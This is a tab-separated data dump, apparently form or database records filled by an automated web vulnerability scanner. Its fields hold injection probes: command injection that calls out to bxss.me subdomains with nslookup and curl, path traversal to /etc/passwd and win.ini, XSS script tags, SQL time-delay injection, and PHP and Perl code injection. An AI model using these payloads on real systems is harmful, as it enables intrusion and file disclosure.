1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU<esi:include src=""http://bxss.me/rpb.png""/>"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&echo ngauoq$()\ ejtoyd\nz^xyu||a #' &echo ngauoq$()\ ejtoyd\nz^xyu||a #|"" &echo ngauoq$()\ ejtoyd\nz^xyu||a #"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	expr 9000472180 - 917787	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	19679921980	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	(nslookup -q=cname hituuyvqcmcpd1ab15.bxss.me||curl hituuyvqcmcpd1ab15.bxss.me))	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitcbipqkguqg62b4c.bxss.me||curl${IFS}hitcbipqkguqg62b4c.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitcbipqkguqg62b4c.bxss.me||curl${IFS}hitcbipqkguqg62b4c.bxss.me)&`'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	19102065	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/passwd	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	http://bxss.me/t/fit.txt%3F.jpg	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	${9999649+9999945}	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	${9999283+10000494}	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	${10000206+9999176}	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	${9999608+9999206}	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	gethostbyname(lc('hithv'.'ujoaldse3416a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(75).chr(98).chr(73)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../../../../../../../../../../../../../../etc/passwd	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../../../../../../../../../../../../../../windows/win.ini	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	file:///etc/passwd	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	response.write(9845863*9263282)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	""".gethostbyname(lc(""hitwq"".""gdzqckzr65946.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(99).chr(90).chr(99).chr(89)."""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	gethostbyname(lc('hitbt'.'rnbyuvuw1c017.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(81).chr(115).chr(68)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../../../../../../../../../../../../../../windows/win.ini	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}\	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"echo rdqtto$()\ valgmw\nz^xyu||a #' &echo rdqtto$()\ valgmw\nz^xyu||a #|"" &echo rdqtto$()\ valgmw\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	'.print(md5(31337)).'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&echo wqfbyu$()\ lehpjs\nz^xyu||a #' &echo wqfbyu$()\ lehpjs\nz^xyu||a #|"" &echo wqfbyu$()\ lehpjs\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"|echo mqqvgs$()\ gdrmvh\nz^xyu||a #' |echo mqqvgs$()\ gdrmvh\nz^xyu||a #|"" |echo mqqvgs$()\ gdrmvh\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	expr 9000561481 - 983535	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	(nslookup -q=cname hitrxbgptffjdc62af.bxss.me||curl hitrxbgptffjdc62af.bxss.me))	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../../../../../../../../../../../../../../etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	'.gethostbyname(lc('hitie'.'vvyctnay0e01f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(82).chr(107).chr(71).'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&(nslookup -q=cname hitejmleashzpb987a.bxss.me||curl hitejmleashzpb987a.bxss.me)&'\""`0&(nslookup -q=cname hitejmleashzpb987a.bxss.me||curl hitejmleashzpb987a.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	@@rgFRq	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	Http://bxss.me/t/fit.txt	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	19922189	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	${9999313+9999025}	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	19064784	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU'""()&%<zzz><ScRiPt >YcIQ(9194)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU-1 waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'""()&%<zzz><ScRiPt >YcIQ(9513)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	bxss.me/t/xss.html?%00	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU9518331	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	file:///etc/passwd	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	941029732579	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	19024517	1
1	1	1	19151007	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"echo mjmxno$()\ bvgwch\nz^xyu||a #' &echo mjmxno$()\ bvgwch\nz^xyu||a #|"" &echo mjmxno$()\ bvgwch\nz^xyu||a #"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&echo fxifat$()\ eovlah\nz^xyu||a #' &echo fxifat$()\ eovlah\nz^xyu||a #|"" &echo fxifat$()\ eovlah\nz^xyu||a #"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"|echo wzprgc$()\ lusycq\nz^xyu||a #' |echo wzprgc$()\ lusycq\nz^xyu||a #|"" |echo wzprgc$()\ lusycq\nz^xyu||a #"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	expr 9000740890 - 954111	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	19556207	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	(nslookup -q=cname hitxgcldpmftu285fa.bxss.me||curl hitxgcldpmftu285fa.bxss.me))	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1'""()&%<zzz><ScRiPt >YcIQ(9867)</ScRiPt>"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	$(nslookup -q=cname hithjfcynubcha7224.bxss.me||curl hithjfcynubcha7224.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'""()&%<zzz><ScRiPt >YcIQ(9206)</ScRiPt>"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&nslookup -q=cname hitdsgnzlqzze7bf22.bxss.me&'\""`0&nslookup -q=cname hitdsgnzlqzze7bf22.bxss.me&`'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	19668512	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup -q=cname hityjantneolqfbe53.bxss.me||curl hityjantneolqfbe53.bxss.me)&'\""`0&(nslookup -q=cname hityjantneolqfbe53.bxss.me||curl hityjantneolqfbe53.bxss.me)&`'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'""()&%<zzz><ScRiPt >YcIQ(9520)</ScRiPt>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup -q=cname hitdgypzivobw4e670.bxss.me||curl hitdgypzivobw4e670.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU9978674	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	;(nslookup -q=cname hitpzuqkslnia7589b.bxss.me||curl hitpzuqkslnia7589b.bxss.me)|(nslookup -q=cname hitpzuqkslnia7589b.bxss.me||curl hitpzuqkslnia7589b.bxss.me)&(nslookup -q=cname hitpzuqkslnia7589b.bxss.me||curl hitpzuqkslnia7589b.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	19385109	1	1	1	1	1	1	1	1	1	1	1
1	1	1	'+response.write(9845863*9263282)+'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitbudkxgeqen46ed7.bxss.me||curl${IFS}hitbudkxgeqen46ed7.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbudkxgeqen46ed7.bxss.me||curl${IFS}hitbudkxgeqen46ed7.bxss.me)&`'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	';print(md5(31337));$a='	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../../../../../../../../../../../../../../windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'""()&%<zzz><ScRiPt >YcIQ(9361)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	""";print(md5(31337));$a="""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	file:///etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	19204039	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	'.gethostbyname(lc('hitjx'.'uhpurwwc2dccf.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(67).chr(114).chr(79).'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	""".gethostbyname(lc(""hitil"".""ibpkzlzq88cdc.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(106).chr(90).chr(121).chr(88)."""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	gethostbyname(lc('hitqk'.'gnqraesi582a1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(87).chr(109).chr(77)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}\	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	'.gethostbyname(lc('hitvz'.'mnwxbcyz92b13.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(70).chr(99).chr(67).'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	""".gethostbyname(lc(""hitoy"".""kqadcevnf9a6e.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(101).chr(86).chr(110).chr(66)."""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/passwd	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	file:///etc/passwd	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	';print(md5(31337));$a='	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	""";print(md5(31337));$a="""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"""+response.write(9845863*9263282)+"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	$(nslookup -q=cname hitgpssfkyymk2b7a9.bxss.me||curl hitgpssfkyymk2b7a9.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../../../../../../../../../../../../../../windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	""".gethostbyname(lc(""hitzt"".""vhnvsugu67351.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(102).chr(75).chr(110).chr(86)."""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&nslookup -q=cname hitzxgsapwuuz4da25.bxss.me&'\""`0&nslookup -q=cname hitzxgsapwuuz4da25.bxss.me&`'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	file:///etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	gethostbyname(lc('hitcw'.'rfwoyjyb290b2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(85).chr(101).chr(80)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	|(nslookup -q=cname hitoufjjbzssfbf66f.bxss.me||curl hitoufjjbzssfbf66f.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	`(nslookup -q=cname hitmogxjzntmwf6d70.bxss.me||curl hitmogxjzntmwf6d70.bxss.me)`	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitiuckhtfods661b1.bxss.me||curl${IFS}hitiuckhtfods661b1.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hituymoblxfxfaa3c6.bxss.me||curl${IFS}hituymoblxfxfaa3c6.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hituymoblxfxfaa3c6.bxss.me||curl${IFS}hituymoblxfxfaa3c6.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	'.gethostbyname(lc('hithg'.'agrtqoxafa370.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(78).chr(113).chr(76).'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	""".gethostbyname(lc(""hitgb"".""jbzekybi05e15.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(106).chr(83).chr(104).chr(81)."""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	gethostbyname(lc('hiter'.'qbhfqfvy3e5d8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(75).chr(117).chr(84)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	'.gethostbyname(lc('hitzq'.'iwelwfox5f1aa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(84).chr(115).chr(88).'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	';print(md5(31337));$a='	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	'.gethostbyname(lc('hitqi'.'qjsnpyai8da68.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(80).chr(98).chr(88).'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	""".gethostbyname(lc(""hitsk"".""ezrjnows0d3f6.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(120).chr(84).chr(119).chr(66)."""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
